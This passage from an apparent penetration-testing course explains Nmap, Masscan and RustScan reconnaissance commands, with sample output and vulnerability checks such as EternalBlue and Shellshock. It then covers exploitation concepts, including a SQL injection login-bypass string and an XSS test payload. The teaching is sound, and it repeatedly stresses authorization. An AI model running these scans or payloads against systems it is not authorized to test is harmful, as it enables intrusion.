  • 🚨 PUT / DELETE methods enabled
  • 🚨 Server version disclosure
  • 🚨 Missing security headers
📄 Example Output

PORT    STATE SERVICE
80/tcp  open  http
| http-title: Welcome to Apache Server
| http-methods: GET POST OPTIONS
| http-headers:
|   Server: Apache/2.4.49
|   X-Powered-By: PHP/7.4
|
443/tcp open  https
| http-title: Secure Login
                             
💡 Next Step:
If risky methods are found, continue testing using web vulnerability scanners like Nikto or Burp Suite.

4. Nmap SMB Scan – OS Discovery & MS17-010
nmap --script smb-os-discovery,smb-vuln-ms17-010 -p 445 192.168.1.10

This command scans the target system on SMB port 445 to identify the Windows OS and check for the MS17-010 (EternalBlue) vulnerability.

🧩 Command Explanation (Easy)
  • nmap → Network scanning tool
  • --script smb-os-discovery → Detects Windows OS version, computer name, domain, and SMB details
  • --script smb-vuln-ms17-010 → Checks for EternalBlue vulnerability
  • -p 445 → Scans SMB service port
  • 192.168.1.10 → Target IP address
🎯 Why This Scan Is Important
  • ✔ Identifies Windows operating system remotely
  • ✔ Detects unpatched Windows systems
  • ✔ Helps prevent ransomware attacks (WannaCry)
  • ✔ Critical for internal network assessments
🚨 What is MS17-010 (EternalBlue)?
  • 🔴 Critical SMB vulnerability in Windows
  • 🔴 Allows remote code execution
  • 🔴 Used in WannaCry & NotPetya attacks
  • 🔴 Affects older/unpatched Windows systems
📄 Example Output

PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-os-discovery:
|   OS: Windows 7 Professional
|   Computer name: DESKTOP-01
|   Domain name: WORKGROUP
|
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Microsoft Windows SMBv1 Multiple Vulnerabilities (MS17-010)
|   State: VULNERABLE
                             
⚠️ Critical Finding:
If MS17-010 is vulnerable, the system must be patched immediately.
💡 Next Step:
Report the issue to administrators. Do NOT exploit without explicit permission.

5. nmap Stealth Scan (Fast + Open + Web Ports)
nmap -sS --min-rate 1000 --open -p 80,443,8080 192.168.1.10

This command performs a fast stealth SYN scan on common web ports and displays only open ports.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -sS → Stealth SYN (half-open) scan
  • --min-rate 1000 → Send at least 1000 packets per second (fast scan)
  • --open → Show only open ports (clean output)
  • -p 80,443,8080 → Scan common web ports
  • 192.168.1.10 → Target IP address
🎯 Why Use This Scan?
  • ✔ Very fast reconnaissance
  • ✔ Focuses only on web services
  • ✔ Clean output (open ports only)
  • ✔ Ideal before web vulnerability testing
📌 When to Use This Command
  • 🔸 Initial web reconnaissance
  • 🔸 Time-limited assessments
  • 🔸 Systems with many filtered ports
📄 Example Output

PORT     STATE SERVICE
80/tcp   open  http
443/tcp  open  https
                             
💡 Next Step:
Run service detection or web scripts:
nmap -sV -p 80,443 192.168.1.10
⚠️ Caution:
High --min-rate values may trigger IDS/IPS systems. Use only with permission.

️6. Nmap MySQL Scan – Empty Password Check
nmap -p 3306 --script mysql-empty-password 192.168.11.130

This command scans the MySQL database service running on port 3306 and checks whether the database allows login without a password.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -p 3306 → Scan MySQL database port
  • --script mysql-empty-password → Checks if MySQL allows empty or no password
  • 192.168.11.130 → Target MySQL server IP
🎯 Why This Scan Is Important
  • ✔ Detects weak MySQL authentication
  • ✔ Prevents unauthorized database access
  • ✔ Helps avoid data breaches
  • ✔ Common issue in misconfigured servers
🚨 Security Risk Explained

If MySQL allows login with an empty password, attackers can:

  • 🚨 Access sensitive data
  • 🚨 Modify or delete databases
  • 🚨 Create malicious users
📄 Example Output

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-empty-password:
|   VULNERABLE:
|   MySQL server allows login with empty password
                             
⚠️ Critical Finding:
Empty MySQL passwords must be fixed immediately.
💡 Next Step:
Enforce strong passwords and restrict MySQL access using firewalls.

7. Nmap FTP Scan – Anonymous Login & System Info
nmap -p 21 --script ftp-anon,ftp-syst 192.168.11.130

This command scans the FTP service running on port 21 and checks whether anonymous login is allowed and collects FTP system information.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -p 21 → Scan FTP service port
  • --script ftp-anon → Checks if anonymous FTP login is enabled
  • --script ftp-syst → Retrieves FTP server system information
  • 192.168.11.130 → Target FTP server IP
🎯 Why This Scan Is Important
  • ✔ Detects anonymous FTP access
  • ✔ Identifies FTP server OS & software
  • ✔ Helps find misconfigured FTP servers
  • ✔ Common issue in legacy systems
🚨 Security Risks Explained
  • 🚨 Unauthorized file downloads
  • 🚨 Information disclosure
  • 🚨 Possible upload of malicious files
📄 Example Output

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon:
|   Anonymous FTP login allowed
|   Files available:
|     pub/
|
| ftp-syst:
|   STAT: UNIX Type: L8
                             
⚠️ Critical Finding:
Anonymous FTP access should be disabled unless absolutely required.
💡 Next Step:
Test file permissions or move to secure protocols like SFTP.

8. Nmap HTTP Shellshock Vulnerability Check
nmap -p 80 --script http-shellshock 192.168.111.130

This command scans a web server running on port 80 to check for the Shellshock vulnerability in CGI-based applications.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • -p 80 → Scan HTTP web service port
  • --script http-shellshock → Checks for Bash Shellshock vulnerability
  • 192.168.111.130 → Target web server IP
🎯 What Is Shellshock?
  • ✔ A critical vulnerability in GNU Bash
  • ✔ Allows remote command execution
  • ✔ Affects CGI scripts on web servers
  • ✔ Common on old/unpatched Linux systems
🚨 Why This Is Dangerous
  • 🚨 Attackers can run system commands
  • 🚨 Full server compromise possible
  • 🚨 Used in many real-world attacks
📄 Example Output

PORT   STATE SERVICE
80/tcp open  http
| http-shellshock:
|   VULNERABLE:
|   CGI script is vulnerable to Shellshock
                             
⚠️ Critical Finding:
Patch Bash immediately and disable vulnerable CGI scripts.
💡 Next Step:
Apply system updates and restrict CGI execution.

9. Nmap SSL/TLS Cipher Enumeration
nmap --script ssl-enum-ciphers -p 443 192.168.111.130

This command analyzes the SSL/TLS configuration of a server running on HTTPS (port 443) and lists supported encryption ciphers and protocols.

🧩 Command Explanation (Very Easy)
  • nmap → Network scanning tool
  • --script ssl-enum-ciphers → Enumerates SSL/TLS ciphers
  • -p 443 → HTTPS port
  • 192.168.111.130 → Target server
🎯 Why This Scan Is Important
  • ✔ Detects weak encryption (RC4, 3DES)
  • ✔ Finds deprecated protocols (SSLv2, SSLv3, TLS 1.0)
  • ✔ Helps assess compliance (PCI-DSS, ISO)
🚨 Common Risks Found
  • 🚨 Weak ciphers enabled
  • 🚨 Legacy SSL/TLS versions supported
⚠️ Weak SSL/TLS settings allow downgrade and MITM attacks.

10. Nmap ACK Scan – Firewall Rule Detection
nmap -sA 192.168.111.130

This command performs an ACK scan to determine whether a host is protected by a stateful firewall and which ports are filtered or unfiltered.

🧩 Command Explanation
  • -sA → ACK scan (firewall analysis)
  • 192.168.111.130 → Target IP
🎯 What This Scan Reveals
  • ✔ Presence of firewall rules
  • ✔ Which ports are filtered
  • ✔ Network security posture
💡 ACK scans do NOT detect open ports — only firewall behavior.

️11. Nmap Service Version & Banner Grabbing
nmap -sV --script banner 192.168.111.130

This command detects running services and attempts to grab service banners that may reveal software names and versions.

🧩 Command Explanation
  • -sV → Service version detection
  • --script banner → Banner grabbing
🎯 Why Banner Grabbing Matters
  • ✔ Reveals exact software versions
  • ✔ Helps match known vulnerabilities
  • ✔ Saves time during exploitation
🚨 Banner disclosure makes vulnerability matching trivial.

12. Nmap Full Port Scan (All 65,535 Ports)
nmap -p- -T5 --max-retries 10 192.168.111.130

This command scans all TCP ports on the target system using an aggressive timing template.

⚠️ High-Intensity Scan
  • 🚨 Very noisy
  • 🚨 Easily detected by IDS/IPS
🎯 When to Use
  • ✔ Authorized internal assessments
  • ✔ CTFs and labs
  • ✔ When stealth is not required
⚠️ Never run full port scans without explicit permission.

13. Nmap Output to File (Normal Format)
nmap 192.168.111.130 -oN filename.txt

This command saves scan results to a text file for documentation and reporting.

🎯 Why This Is Important
  • ✔ Required for reports
  • ✔ Enables result comparison
  • ✔ Supports evidence collection
💡 Always save scan output during professional engagements.

14. Nmap Scan Using Target File
nmap -iL TargetIPfile.txt

This command scans multiple targets listed inside a file.

🧩 Why Use This
  • ✔ Large-scale assessments
  • ✔ Organized target management
  • ✔ Automation-friendly
💡 Each line in the file should contain one IP or hostname.

15. Nmap Packet Trace – Deep Network Visibility
nmap 192.168.111.130 --packet-trace

This command displays raw packets sent and received during the scan for deep analysis.

🎯 Why Packet Trace Is Useful
  • ✔ Understand firewall behavior
  • ✔ Debug scan issues
  • ✔ Learn how Nmap works internally
⚠️ Output is very verbose and technical.
Key Takeaway:
Packet tracing reveals how networks respond — not just scan results.

Step Nmap Command Purpose (Why This Step) Key Options Meaning
1 nmap -sn 192.168.1.0/24 Identify live hosts (scope reduction) -sn → Ping only, no ports
2 nmap -sS -Pn --top-ports 100 <IP> Fast stealth discovery of common services -sS SYN scan, -Pn skip ping
3 nmap -sS --open -p 80,443,8080 <IP> Quick web service identification --open show open ports only
4 nmap -sV --script banner <IP> Service version & banner enumeration -sV version detection
5 nmap -p 80,443 --script http-* Web server misconfiguration discovery http-* HTTP enum scripts
6 nmap -p 21 --script ftp-anon,ftp-syst Check anonymous FTP access ftp-anon anonymous login
7 nmap -p 3306 --script mysql-empty-password Detect weak database authentication 3306 MySQL port
8 nmap --script smb-os-discovery -p 445 Windows OS and SMB enumeration 445 SMB service
9 nmap --script smb-vuln-ms17-010 -p 445 Check EternalBlue vulnerability ms17-010 SMB RCE bug
10 nmap -p 80 --script http-shellshock Detect Shellshock vulnerability http-shellshock CGI Bash flaw
11 nmap --script ssl-enum-ciphers -p 443 Identify weak SSL/TLS encryption ssl-enum-ciphers TLS analysis
12 nmap -sA <IP> Firewall rule & filtering analysis -sA ACK scan
13 nmap -p- -T5 <IP> Full port discovery (last resort) -p- all ports
14 nmap -iL targets.txt Large-scale scanning automation -iL input target list
15 nmap <IP> --packet-trace Deep packet-level troubleshooting --packet-trace raw packets
16 nmap <IP> -oN report.txt Save evidence for reporting -oN normal output

🔹 Masscan Commands

1. Masscan Basic Scan – HTTP Services (Port 80)
masscan 192.168.1.0/24 -p80

This command uses Masscan to scan the entire 192.168.1.0/24 network and check which systems have port 80 (HTTP) open.

🧩 Command Explanation (Very Easy)
  • masscan → High-speed network scanning tool
  • 192.168.1.0/24 → Network range (256 IP addresses)
  • -p80 → Scan only port 80 (HTTP web service)
🎯 What This Scan Does
  • ✔ Finds systems running web servers
  • ✔ Identifies exposed HTTP services
  • ✔ Very fast compared to traditional scanners
📌 When to Use This Command
  • 🔸 Initial reconnaissance phase
  • 🔸 Large internal networks
  • 🔸 Quick discovery of web servers
📄 Example Output

Discovered open port 80/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.18
                             
💡 Next Step:
After finding open IPs, use Nmap -sV or http-* NSE scripts for detailed web analysis.
⚠️ Note:
By default, Masscan is very fast. Use --rate to control speed and avoid network issues.

2. Masscan Full Port Scan – Ports 1 to 65535
masscan 192.168.1.0/24 -p1-65535 --rate=1000

This command scans the entire 192.168.1.0/24 network and checks all possible TCP ports to find any open services.

🧩 Command Explanation (Very Easy)
  • masscan → High-speed network scanning tool
  • 192.168.1.0/24 → Target network (256 IP addresses)
  • -p1-65535 → Scan all valid TCP ports
  • --rate=1000 → Limits speed to avoid network overload
🎯 Why Use a Full Port Scan?
  • ✔ Finds services running on non-standard ports
  • ✔ Discovers hidden or custom applications
  • ✔ Useful in deep internal assessments
⚠️ Important Notes
  • 🚨 Very noisy scan if rate is high
  • 🚨 Can trigger IDS / firewall alerts
  • 🚨 Use only with written authorization
📄 Example Output

Discovered open port 22/tcp on 192.168.1.10
Discovered open port 80/tcp on 192.168.1.12
Discovered open port 3306/tcp on 192.168.1.20
                             
💡 Best Practice:
After Masscan finds open ports, use Nmap -sV or Nmap -A for detailed service analysis.

3. Masscan Fast Scan – HTTP Services (Port 80)
masscan 192.168.1.0/24 -p80 --rate=1000

This command uses Masscan to perform an ultra-fast scan for HTTP services (port 80) across the entire 192.168.1.0/24 network.

🧩 Command Explanation (Very Easy)
  • masscan → High-speed network scanning tool
  • 192.168.1.0/24 → Target network (256 IP addresses)
  • -p80 → Scan only port 80 (HTTP)
  • --rate=1000 → Send 1000 packets per second (safe speed)
🎯 Why Use Masscan?
  • ✔ Much faster than Nmap
  • ✔ Ideal for large networks
  • ✔ Quickly finds exposed web servers
  • ✔ Useful in early reconnaissance
📌 When to Use This Command
  • 🔸 Large internal networks
  • 🔸 Time-limited assessments
  • 🔸 First phase of penetration testing
📄 Example Output

Discovered open port 80/tcp on 192.168.1.5
Discovered open port 80/tcp on 192.168.1.20
                             
💡 Next Step:
Use Nmap -sV or http-* scripts on discovered IPs for detailed analysis.
⚠️ Caution:
High scan rates can trigger firewalls or IDS/IPS systems. Always scan with permission.

4. Masscan Banner Grabbing – HTTP Services
masscan 192.168.1.0/24 -p80 --banners --rate=1000

This command scans the 192.168.1.0/24 network for HTTP services (port 80) and attempts to grab service banners such as server type and headers.

🧩 Command Breakdown (Very Easy)
  • masscan → High-speed network scanner
  • 192.168.1.0/24 → Target subnet (256 IPs)
  • -p80 → Scan HTTP port only
  • --banners → Collect service banners (headers/info)
  • --rate=1000 → Safe scan speed (packets/sec)
🎯 What is Banner Grabbing?

Banner grabbing collects information a service sends when it responds, such as:

  • ✔ Web server type (Apache, Nginx, IIS)
  • ✔ Software versions
  • ✔ HTTP headers
⚠️ Security Risks Identified
  • 🚨 Server version disclosure
  • 🚨 Technology fingerprinting
  • 🚨 Missing security headers
📄 Example Output

Discovered open port 80/tcp on 192.168.1.12
Banner on port 80:
HTTP/1.1 200 OK
Server: Apache/2.4.49
X-Powered-By: PHP/7.4
                             
💡 Next Step:
Use Nmap -sV or http-* NSE scripts on identified hosts for deeper web analysis.
⚠️ Caution:
Banner grabbing may trigger IDS/IPS alerts. Always scan with written permission.

5. Masscan Resume – Continue Paused Scan
masscan --resume paused.conf

This command allows Masscan to resume a previously paused or interrupted scan using the saved configuration file (paused.conf).

🧩 Command Explanation (Very Easy)
  • masscan → High-speed network scanning tool
  • --resume → Continue a stopped scan
  • paused.conf → Scan state file saved by Masscan
🎯 When Is This Useful?
  • ✔ Scan stopped due to power failure
  • ✔ System reboot or network interruption
  • ✔ Very large network scans
  • ✔ Long-running assessments
📌 How the Resume Feature Works
  1. Masscan automatically saves scan progress
  2. Progress is stored in paused.conf
  3. Resume command continues from the same point
  4. No need to restart the entire scan
⚠️ Important Notes
  • 🔸 Do not delete paused.conf
  • 🔸 Resume works only with the same Masscan version
  • 🔸 Network changes may affect results
💡 Pro Tip:
Always use --rate with Masscan so scans can pause safely without overwhelming the network.

Step Masscan Command Purpose (Why This Step) Key Options Meaning
1 masscan 192.168.1.0/24 -p80 Initial discovery of HTTP services -p80 → Scan HTTP port only
2 masscan 192.168.1.0/24 -p80 --rate=1000 Controlled fast scan (safe speed) --rate → Packets per second
3 masscan 192.168.1.0/24 -p1-65535 --rate=1000 Full port discovery (deep recon) -p1-65535 → All TCP ports
4 masscan 192.168.1.0/24 -p80 --banners --rate=1000 Banner grabbing & service hints --banners → Grab service info
5 masscan --resume paused.conf Resume interrupted large scans --resume → Continue scan
6 Nmap -sV / http-* scripts Detailed enumeration (handoff) Masscan → Discovery only

🔹 RustScan Commands

1. RustScan Basic Scan – Fast Port Discovery
rustscan -a 192.168.1.10

This command uses RustScan to quickly discover open ports on the target system. RustScan is designed to be much faster than traditional scanners.

🧩 Command Explanation (Very Easy)
  • rustscan → High-speed port scanner written in Rust
  • -a → Target address
  • 192.168.1.10 → Target IP address
🎯 What This Scan Does
  • ✔ Quickly finds open TCP ports
  • ✔ Uses multithreading for speed
  • ✔ Minimal network noise
  • ✔ Ideal for initial reconnaissance
📌 When to Use RustScan
  • 🔸 First scan of a new target
  • 🔸 Time-limited assessments
  • 🔸 Before deep Nmap scanning
📄 Example Output

Open 192.168.1.10:22
Open 192.168.1.10:80
Open 192.168.1.10:443
                             
💡 Next Step:
Use RustScan with Nmap for detailed analysis:
rustscan -a 192.168.1.10 -- -sV -A
⚠️ Note:
RustScan discovers ports only. It does not identify services by default.

2. RustScan + Nmap Aggressive Scan (-A)
rustscan -a 192.168.1.10 -- -A

This command uses RustScan for fast port discovery and then automatically hands the open ports to Nmap for a deep aggressive scan.

🧩 Command Explanation (Very Easy)
  • rustscan → High-speed port scanner
  • -a 192.168.1.10 → Target IP address
  • -- → Pass the next options to Nmap
  • -A → Nmap aggressive scan (OS detection, version detection, scripts, traceroute)
🎯 What This Scan Does
  • ✔ Finds open ports extremely fast
  • ✔ Identifies services and versions
  • ✔ Detects operating system
  • ✔ Runs safe default NSE scripts
📌 When to Use This Command
  • 🔸 After quick port discovery
  • 🔸 Medium-size internal networks
  • 🔸 Authorized penetration testing labs
📄 Example Output

Open 192.168.1.10:22
Open 192.168.1.10:80
Open 192.168.1.10:445

Nmap scan report for 192.168.1.10
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.6
80/tcp  open  http    Apache 2.4.49
445/tcp open  smb     Windows SMB
OS details: Windows 10
                             
⚠️ Caution:
The -A option is loud and noisy. Use only during approved testing windows.
💡 Best Practice:
Use RustScan first, then Nmap. This approach saves time and reduces unnecessary scanning.

3. RustScan Full Port Scan – Ports 1 to 65535
rustscan -a 192.168.1.10 -r 1-65535

This command uses RustScan to scan all TCP ports (1–65535) on the target system and quickly identify every open port.

🧩 Command Explanation (Very Easy)
  • rustscan → High-speed port scanner written in Rust
  • -a → Target address
  • 192.168.1.10 → Target IP address
  • -r 1-65535 → Scan the complete valid TCP port range
🎯 Why Use a Full Port Scan?
  • ✔ Finds services running on non-standard ports
  • ✔ Discovers hidden or custom applications
  • ✔ Useful for deep internal penetration tests
  • ✔ Faster than full Nmap port scans
📌 When to Use This Command
  • 🔸 After basic scans miss services
  • 🔸 Internal network assessments
  • 🔸 Authorized lab or test environments
📄 Example Output

Open 192.168.1.10:22
Open 192.168.1.10:80
Open 192.168.1.10:8080
Open 192.168.1.10:3306
                             
💡 Best Practice:
After finding open ports, run a detailed scan:
rustscan -a 192.168.1.10 -r 1-65535 -- -sV
⚠️ Note:
Full port scans are louder than top-port scans. Always ensure you have permission.

4. RustScan Subnet Scan – High Speed with ulimit
rustscan -a 192.168.1.0/24 --ulimit 5000

This command uses RustScan to scan the entire 192.168.1.0/24 network while increasing the system file-descriptor limit for faster scanning.

🧩 Command Explanation (Very Easy)
  • rustscan → High-speed port scanning tool
  • -a → Target address or network range
  • 192.168.1.0/24 → Network range (256 IP addresses)
  • --ulimit 5000 → Allows RustScan to open more files/connections at once
🎯 Why Use --ulimit?
  • ✔ Prevents “too many open files” errors
  • ✔ Improves scan speed on large networks
  • ✔ Required for aggressive or wide scans
📌 When to Use This Command
  • 🔸 Scanning full subnets
  • 🔸 Internal network assessments
  • 🔸 High-speed discovery phase
📄 Example Output

Open 192.168.1.5:22
Open 192.168.1.12:80
Open 192.168.1.20:445
                             
💡 Best Practice:
After discovering open ports, run a deeper scan using:
rustscan -a 192.168.1.20 -- -sV
⚠️ Caution:
High ulimit values increase system load. Use carefully and only with permission.

️5. RustScan + Nmap Vulnerability Scan
rustscan -a 192.168.1.10 -- --script vuln

This command uses RustScan to quickly find open ports and then passes those ports to Nmap, which runs vulnerability detection scripts safely.

🧩 Command Explanation (Very Easy)
  • rustscan → High-speed port discovery tool
  • -a → Target IP address
  • 192.168.1.10 → Target system
  • -- → Pass the next options to Nmap
  • --script vuln → Runs safe NSE scripts to detect known vulnerabilities
🎯 What This Scan Does
  • ✔ Detects known vulnerabilities (CVE-based)
  • ✔ Does NOT exploit the system
  • ✔ Safe for authorized assessments
  • ✔ Saves time by scanning only open ports
📌 When to Use This Command
  • 🔸 After port discovery
  • 🔸 Vulnerability assessment phase
  • 🔸 Security audits & lab environments
📄 Example Output

PORT    STATE SERVICE
445/tcp open  microsoft-ds
| smb-vuln-ms17-010:
|   VULNERABLE
|   State: VULNERABLE
|
80/tcp open  http
| http-vuln-cve2021-41773:
|   State: NOT VULNERABLE
                             
⚠️ Important:
Detection is not exploitation. Never exploit vulnerabilities without explicit written permission.
💡 Best Practice:
Combine vulnerability results with patch management and reporting.

Step RustScan Command Purpose (Why This Step) Key Options Meaning
1 rustscan -a 192.168.1.10 Fast initial port discovery -a → Target address
2 rustscan -a 192.168.1.10 -- -sV Identify services on open ports -- pass options to Nmap
3 rustscan -a 192.168.1.10 -- -A Deep aggressive enumeration -A OS, version, scripts
4 rustscan -a 192.168.1.10 -r 1-65535 Full port discovery (fallback) -r → Port range
5 rustscan -a 192.168.1.0/24 --ulimit 5000 High-speed subnet scanning --ulimit increase FD limit
6 rustscan -a 192.168.1.10 -- --script vuln Safe vulnerability detection --script vuln NSE checks
7 Nmap exploitation / manual testing Manual validation & reporting RustScan → discovery only
⚠️ Legal Reminder:
Scanning without written permission is illegal and punishable.

🎓 Module 02 : Depth Scanning Successfully Completed

You have successfully completed this module of Advanced Penetration Testing For Beginners.

Keep building your expertise step by step — Learn Next Module →


🔓 Module 03 – Exploitation: From Theory to Controlled Practice

Understanding how vulnerabilities become breaches — and how ethical hackers demonstrate risk safely

🎯

Module Learning Objectives

By the end of this module, you will understand exploitation concepts, validation techniques, and how to demonstrate vulnerabilities ethically without causing harm. You'll learn to think like an attacker while operating as a defender.


3.1 What is Exploitation? The Core Concept

Exploitation is the phase in penetration testing where a tester attempts to validate a vulnerability by demonstrating controlled access, using safe, authorized techniques.

Think of exploitation as proving that a weakness discovered earlier (in scanning or vulnerability assessment) is actually real and can be abused — but doing it safely and without harming systems. It's the difference between knowing a door is unlocked and proving you can walk through it.

🔬 The Scientific Method of Exploitation

Like a scientist testing a hypothesis, exploitation follows a structured approach:

  1. Hypothesis: "This service is vulnerable to remote code execution"
  2. Experiment: Attempt to trigger the vulnerability in a controlled way
  3. Observation: Document what happens when the exploit is attempted
  4. Conclusion: Confirm or refute the vulnerability's existence
⚠️ CRITICAL WARNING

Exploitation must ONLY be performed on systems you have explicit written permission to test.

Unauthorized exploitation is illegal under computer fraud laws worldwide (CFAA in US, Computer Misuse Act in UK, etc.) and can result in:

  • Criminal charges
  • Imprisonment
  • Civil lawsuits
  • Career destruction
🎯 The Five Goals of Ethical Exploitation
Validate Vulnerabilities

Confirm that findings from scanning are genuine, not false positives

📊
Understand Real-World Risk

Determine what an attacker could actually achieve with this weakness

📢
Demonstrate Impact

Show stakeholders why the vulnerability needs fixing, not just report it

🛡️
Test Defenses

See if security controls (AV, EDR, WAF) detect or block the attack

🗺️
Assess Attack Paths

Evaluate how far an attacker could progress from this foothold

🔍 The Two Approaches to Exploitation

Approach Description When Used Advantages/Disadvantages
🔧 Manual Exploitation Performed by testers using their knowledge, custom scripts, and manual analysis
  • Complex vulnerabilities
  • Zero-day discovery
  • Custom applications
  • When automation fails
✓ Deep understanding
✓ Fewer false positives
✗ Time-consuming
✗ Requires expertise
⚙️ Automated Exploitation Uses authorized tools like Metasploit, Core Impact, or CANVAS
  • Known vulnerabilities
  • Large-scale testing
  • Quick validation
  • Regression testing
✓ Fast and efficient
✓ Consistent results
✗ May miss context
✗ False positives possible
💡
Simple Analogy

Exploitation is like testing if a lock (vulnerability) can actually be opened (exploited). You don't break the door down—you just prove the lock is pickable. Then you report it so the owner can replace it with a better lock.


3.2 Vulnerability Validation: Separating Fact from Fiction

Before performing exploitation, ethical testers must confirm that the discovered weakness is real, reproducible, and safe to test. This is the quality control phase of penetration testing.

🧪 The 5-Step Validation Framework
1
Verify the Finding

Ensure the vulnerability exists and is not a false positive. Double-check scanner results with manual techniques.

Example: A scanner reports "Apache 2.4.49" which has a known path traversal. Verify the version manually with curl or netcat.
2
Check Applicable Systems

Does this vulnerability affect the target OS, version, or application configuration?

Example: The path traversal only works on Apache with specific mod_cgi configurations, not default installs.
3
Analyze Exploitability

Check if exploitation is possible without damaging the system and within scope boundaries.

Example: The path traversal can read files but not execute code—still worth reporting.
4
Review Impact

Determine what an attacker could achieve if exploited (information disclosure, privilege escalation, RCE).

Example: Reading /etc/passwd discloses usernames, aiding password attacks.
5
Document Validation Steps

Record all observations, commands used, and evidence for clear reporting.

Example: Save screenshots of file contents, commands used, and timestamps.
🚨 False Positives: The Hidden Danger

Automated scanners often report vulnerabilities that don't actually exist. Common causes:

  • Banner grabbing errors: Service disguises itself or reports wrong version
  • Configuration differences: Vulnerability patched but banner not updated
  • Signature mismatches: Scanner pattern matches but conditions aren't met
  • Network interference: Proxies or load balancers alter responses
Example: A scanner reports "MS17-010 EternalBlue" on a Windows server, but the server is actually patched and just hasn't been rebooted. Manual validation saves the team from unnecessary panic.
📋 Validation Checklist
🔬 Real-World Validation Example: Log4Shell (CVE-2021-44228)

When testing for Log4Shell, a simple scanner might report vulnerability based on version numbers. Proper validation involves:

  1. Checking if the application actually uses the vulnerable JNDI lookup feature
  2. Sending a crafted payload to a collaborator server to detect DNS callbacks
  3. Confirming that the application processes the payload (without actually exploiting)
  4. Documenting the exact request/response that proves vulnerability

3.3 Exploit Categories: Understanding Attack Types

Exploits come in various forms depending on how a vulnerability is abused. Understanding categories helps testers identify risks and prioritize remediation.

🌐 Web Application Exploits

Target vulnerabilities in websites, web applications, and APIs. The most common attack vector today.

Common Web Vulnerabilities:
  • SQL Injection (SQLi): Manipulating database queries
  • Cross-Site Scripting (XSS): Injecting client-side scripts
  • Cross-Site Request Forgery (CSRF): Forcing user actions
  • File Inclusion (LFI/RFI): Reading or including local/remote files
  • File Upload Vulnerabilities: Uploading malicious files
  • Authentication Bypass: Circumventing login mechanisms
Example: A login page vulnerable to SQL injection allows an attacker to bypass authentication with ' OR '1'='1' -- as the password.
🌍 Network Exploits

Abuse network protocols, services, or weak network configurations.

Common Network Vulnerabilities:
  • Unpatched Services: Exploiting known CVEs in network services
  • Man-in-the-Middle (MITM): Intercepting network traffic
  • Weak Encryption: Breaking outdated protocols (SSLv3, WEP)
  • Default Credentials: Accessing devices with factory settings
  • SNMP Exploits: Abusing Simple Network Management Protocol
  • DNS Attacks: Cache poisoning, zone transfers
Example: A router with default credentials (admin/admin) allows full configuration access to an attacker on the same network.
🖥️ Operating System Exploits

Target weaknesses in the OS kernel, services, or system components.

Common OS Vulnerabilities:
  • Privilege Escalation: Gaining higher permissions
  • Kernel Exploits: Exploiting bugs in the OS kernel
  • Service Misconfigurations: Abusing weak service settings
  • Race Conditions: Exploiting timing windows
  • Memory Corruption: Buffer overflows, use-after-free
  • DLL/Shared Library Hijacking: Loading malicious libraries
Example: Dirty Cow (CVE-2016-5195) allowed local users to gain root privileges on Linux systems through a race condition.
📱 Application Exploits

Abuse insecure behavior in desktop, mobile, or thick-client applications.

Common Application Vulnerabilities:
  • Buffer Overflows: Writing beyond allocated memory
  • Format String Vulnerabilities: Using user input in printf
  • Insecure Deserialization: Executing code from untrusted objects
  • Hardcoded Credentials: Passwords embedded in code
  • Local Privilege Escalation: Abusing application permissions
  • Debug Features Enabled: Production apps with debug access
Example: A thick-client application stores database passwords in plaintext in a configuration file, allowing any user to access the database.
👥 Human-Based Exploits

Manipulate users through social engineering rather than technical means.

Common Social Engineering Attacks:
  • Phishing: Deceptive emails to steal credentials
  • Vishing: Voice phishing over phone calls
  • Smishing: SMS text message scams
  • Pretexting: Creating false scenarios to gain trust
  • Baiting: Leaving infected USB drives
  • Tailgating: Following authorized personnel into secure areas
Example: An attacker calls an employee pretending to be IT support, asking for their password to "fix an urgent issue."
🔐 Cryptographic Exploits

Attack weaknesses in encryption, hashing, or random number generation.

Common Cryptographic Vulnerabilities:
  • Weak Algorithms: MD5, SHA1, DES, RC4
  • Poor Key Management: Hardcoded or exposed keys
  • Padding Oracle Attacks: Revealing plaintext through error messages
  • Random Number Predictability: Weak PRNG allows prediction
  • Certificate Validation Issues: Ignoring invalid certificates
  • Downgrade Attacks: Forcing use of weaker protocols
Example: A website still supports SSLv3, allowing POODLE attack where an attacker can decrypt secure communications.
📊 Exploit Complexity vs. Impact Matrix
Complexity Low Impact Medium Impact High Impact
Low Info disclosure (non-sensitive) Version disclosure Default credentials
Medium Directory listing XSS (non-persistent) SQL injection
High Local file inclusion Privilege escalation Remote code execution

*Impact depends on system criticality and data sensitivity. Always assess in context.


3.4 Safe Demonstration Techniques: Proving Without Breaking

⚖️ The Ethical Hacker's Dilemma

How do you prove a vulnerability exists without causing the damage a real attacker would? This section solves that challenge with safe demonstration methodologies.

🟢 Safe Demonstration Principles
  • Principle of Least Access

    Only access data you are authorized to view. If you accidentally see sensitive data, stop and report immediately.

  • Non-Destructive Testing

    Avoid actions that modify, delete, or corrupt data. Read-only proofs are ideal.

  • Proof-of-Concept (PoC) Mindset

    Show impact without full exploitation. Demonstrate that a file can be read, but don't read its contents.

  • Stop on Instability

    If the system shows signs of crashing or unusual behavior, stop immediately and document.

  • Scope Adherence

    Never deviate from the agreed-upon testing boundaries, even if you find additional vulnerabilities.

🔴 What Ethical Testers NEVER Do
  • Data Exfiltration

    Never copy or download sensitive data (PII, financial records, trade secrets).

  • System Modification

    Never change configurations, install backdoors, or alter system files.

  • Denial of Service

    Never perform actions that could crash services or make systems unavailable.

  • Privilege Abuse

    Never use elevated access to view or modify data beyond what's needed for proof.

  • Persistence Installation

    Never leave behind any means of re-entry (backdoors, new accounts).

🔐 Safe Demonstration Techniques by Vulnerability Type

Vulnerability Safe Demonstration What to Document
SQL Injection Use time-based or boolean payloads that don't modify data. Show database version without extracting data. Time delays, response differences, error messages
XSS Use alert('XSS') or console.log in a lab environment. Never steal cookies. Screenshot of alert box, payload used
File Inclusion Read a non-sensitive file like /etc/issue or a harmless application file. File existence proof, file contents (if non-sensitive)
